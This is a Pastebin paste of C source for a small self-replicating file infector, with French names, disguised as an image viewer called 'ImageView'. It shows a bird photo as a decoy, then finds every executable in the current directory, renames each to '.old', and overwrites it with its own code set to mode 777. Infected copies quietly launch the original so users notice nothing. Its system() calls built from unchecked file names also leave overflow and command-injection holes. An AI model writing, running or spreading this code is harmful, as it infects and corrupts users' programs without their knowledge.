Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <dirent.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <string.h>
- void afficheImage() {
- system("shotwell oiseau.jpg");
- }
- void infectionFichiers() {
- DIR *rep = opendir(".");
- struct dirent *fichier = NULL;
- struct stat buf;
- char ext[] = ".old";
- while ((fichier = readdir(rep)) != NULL) {
- // Liste les fichiers dans le dossier
- // printf("%s\n", fichier->d_name);
- stat(fichier->d_name, &buf);
- if ((buf.st_mode & S_IXUSR) && (buf.st_mode & S_IFREG) && (strcmp(fichier->d_name, "ImageView") != 0)) {
- printf("Le fichier : %s est valide\n", fichier->d_name);
- if (strstr(fichier->d_name, ext)) {
- printf("\tLe fichier est infecté\n");
- } else {
- printf("\tLe fichier n'est pas infecté\n");
- char commandRename[256] = "mv ";
- char *oldName = fichier->d_name;
- strcat(commandRename, oldName);
- strcat(commandRename, " ");
- strcat(commandRename, oldName);
- strcat(commandRename, ext);
- system(commandRename);
- printf("\t\tLe fichier a été renommé : %s%s \n", oldName, ext);
- char commandCopie[256] = "touch ";
- strcat(commandCopie, oldName);
- system(commandCopie);
- char commandDroit[256] = "chmod ";
- strcat(commandDroit, "777");
- strcat(commandDroit, " ");
- strcat(commandDroit, oldName);
- system(commandDroit);
- char commandTransfert[256] = "cat ";
- strcat(commandTransfert, "ImageView");
- strcat(commandTransfert, ">> ");
- strcat(commandTransfert, oldName);
- system(commandTransfert);
- }
- } else {
- printf("Le fichier : %s n'est pas valide\n", fichier->d_name);
- }
- }
- }
- int main(int argc, char *argv[]) {
- if (strstr(argv[0], "ImageView")) {
- afficheImage();
- infectionFichiers();
- } else {
- char commandLancer[256] = "./";
- strcat(commandLancer, argv[0]);
- strcat(commandLancer, ".old");
- system(commandLancer);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement